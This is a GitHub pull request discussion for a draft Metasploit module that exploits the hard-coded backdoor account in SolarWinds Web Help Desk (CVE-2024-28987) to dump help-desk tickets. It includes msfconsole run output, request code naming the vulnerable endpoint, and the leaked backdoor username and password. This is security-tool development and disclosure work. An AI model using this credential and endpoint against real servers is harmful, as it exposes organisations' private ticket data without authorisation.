Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SolarWinds Web Help Desk Backdoor (CVE-2024-28987) Module #19499

Draft
wants to merge 9 commits into
base: master
Choose a base branch
from

Conversation

h4x-x0r
Copy link
Contributor

@h4x-x0r h4x-x0r commented Sep 25, 2024

Note: This is still a draft.

This is a new module which exploits a backdoor in SolarWinds Web Help Desk (CVE-2024-28987) <= v12.8.3 to retrieve all tickets from the system.

Verification Steps

  1. Download the installer from the vendor and deploy it.
  2. Start msfconsole
  3. use auxiliary/gather/solarwinds_webhelpdesk_backdoor
  4. set RHOSTS <IP>
  5. run
msf6 auxiliary(gather/solarwinds_webhelpdesk_backdoor) > set RHOSTS 192.168.217.145
RHOSTS=> 192.168.217.145

msf6 auxiliary(gather/solarwinds_webhelpdesk_backdoor) > run
[*] Running module against 192.168.217.145

[*] Authenticating with the backdoor account "helpdeskIntegrationUser"...
[+] Successfully authenticated and tickets retrieved:
[+] [
  {
    "id": 2,
    "type": "Ticket",
    "lastUpdated": "2024-09-25T08:54:13Z",
    "shortSubject": "Password reset",
    "shortDetail": "Hi,\r\n\r\nhere is your super secure password: foo\r\n\r\nYour IT Support",
    "displayClient": "No Client",
    "updateFlagType": 2,
    "prettyLastUpdated": "22 minutes ago",
    "latestNote": null
  },
  {
    "id": 1,
    "type": "Ticket",
    "lastUpdated": "2024-09-25T05:15:17Z",
    "shortSubject": "Welcome to Web Help Desk",
    "shortDetail": "Congratulations! You have successfully installed Web Help Desk. Further configuration options are...",
    "displayClient": "Demo Client",
    "updateFlagType": 2,
    "prettyLastUpdated": "4 hours ago",
    "latestNote": null
  }
]
[*] Auxiliary module execution completed

Successfully tested on

  • Web Help Desk v12.8.1 on Windows 22H2

Notes
I still need to add error handling, etc., but I wanted to get the initial draft published already.

Initial draft
Documentation
minor improvements
added check method
@h4x-x0r
Copy link
Contributor Author

h4x-x0r commented Sep 25, 2024

I've added a check method and store_loot:

msf6 auxiliary(gather/solarwinds_webhelpdesk_backdoor) > run
[*] Running module against 192.168.217.145

[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Authenticating with the backdoor account "helpdeskIntegrationUser"...
[+] Successfully authenticated and tickets retrieved:
[+] [
  {
    "id": 2,
    "type": "Ticket",
    "lastUpdated": "2024-09-25T08:54:13Z",
    "shortSubject": "Password reset",
    "shortDetail": "Hi,\r\n\r\nhere is your super secure password: foo\r\n\r\nYour IT Support",
    "displayClient": "No Client",
    "updateFlagType": 2,
    "prettyLastUpdated": "48 minutes ago",
    "latestNote": null
  },
  {
    "id": 1,
    "type": "Ticket",
    "lastUpdated": "2024-09-25T05:15:17Z",
    "shortSubject": "Welcome to Web Help Desk",
    "shortDetail": "Congratulations! You have successfully installed Web Help Desk. Further configuration options are...",
    "displayClient": "Demo Client",
    "updateFlagType": 2,
    "prettyLastUpdated": "4 hours ago",
    "latestNote": null
  }
]
[+] Saved tickets to /home/asdf/.msf4/loot/20240925124228_default_unknown_solarwinds_webhe_584017.txt
[*] Auxiliary module execution completed

def auth
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets'),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Does this endpoint support pagination?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'm not sure if this specific endpoint supports pagination, but I saw some other endpoints that might support it. I'll have to play around some more to see if there's another endpoint that could be used instead.


body = @auth.body
fail_with(Failure::UnexpectedReply, 'Unexpected Reply: ' + @auth.to_s) unless body.include?('shortSubject')

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It'd be great to persist this in the database as a vulnerability, example:

vprint_good("Detected DLSw protocol")
report_service(
host: rhost,
port: rport,
proto: 'tcp',
name: 'dlsw'
)
# TODO: check that response has something that truly indicates it is vulnerable
# and not simply that it responded
unless response[18..72].scan(/\x00/).length == 54
print_good("Vulnerable to DLSw information disclosure; leaked #{response.length} bytes")
report_vuln(
host: rhost,
port: rport,
name: name,
refs: references,
info: "Module #{fullname} collected #{response.length} bytes"
)
Exploit::CheckCode::Vulnerable
end

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I guess technically we should store the credential too?

def report_cred(opts)
service_data = {
address: rhost,
port: rport,
service_name: 'webaccess',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: opts[:status],
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end

I'll just run this by the team tomorrow to confirm if it's the convention to register hard-coded app creds into Metasploit's database or not 👍

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thank you for the feedback, I've added report_service and report_vuln:

msf6 auxiliary(gather/solarwinds_webhelpdesk_backdoor) > services 
Services
========

host             port  proto  name                      state  info
----             ----  -----  ----                      -----  ----
192.168.217.145  8443  tcp    solarwinds web help desk  open

msf6 auxiliary(gather/solarwinds_webhelpdesk_backdoor) > vulns -i

Vulnerabilities
===============

Timestamp                Host             Name                                              References                                        Information
---------                ----             ----                                              ----------                                        -----------
2024-09-26 03:56:23 UTC  192.168.217.145  SolarWinds Web Help Desk Backdoor (CVE-2024-2898  CVE-2024-28987,URL-https://www.solarwinds.com/tr  The backdoor helpdeskIntegrationUser:dev-C4F8025
                                          7)                                                ust-center/security-advisories/cve-2024-28987,UR  E7 works.
                                                                                            L-https://support.solarwinds.com/SuccessCenter/s
                                                                                            /article/SolarWinds-Web-Help-Desk-12-8-3-Hotfix-
                                                                                            2,URL-https://www.horizon3.ai/attack-research/cv
                                                                                            e-2024-28987-solarwinds-web-help-desk-hardcoded-
                                                                                            credential-vulnerability-deep-dive/

added report_vuln, report_service, limited console output
Use TICKETSTODUMP instead of n characters
Updated documentation
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants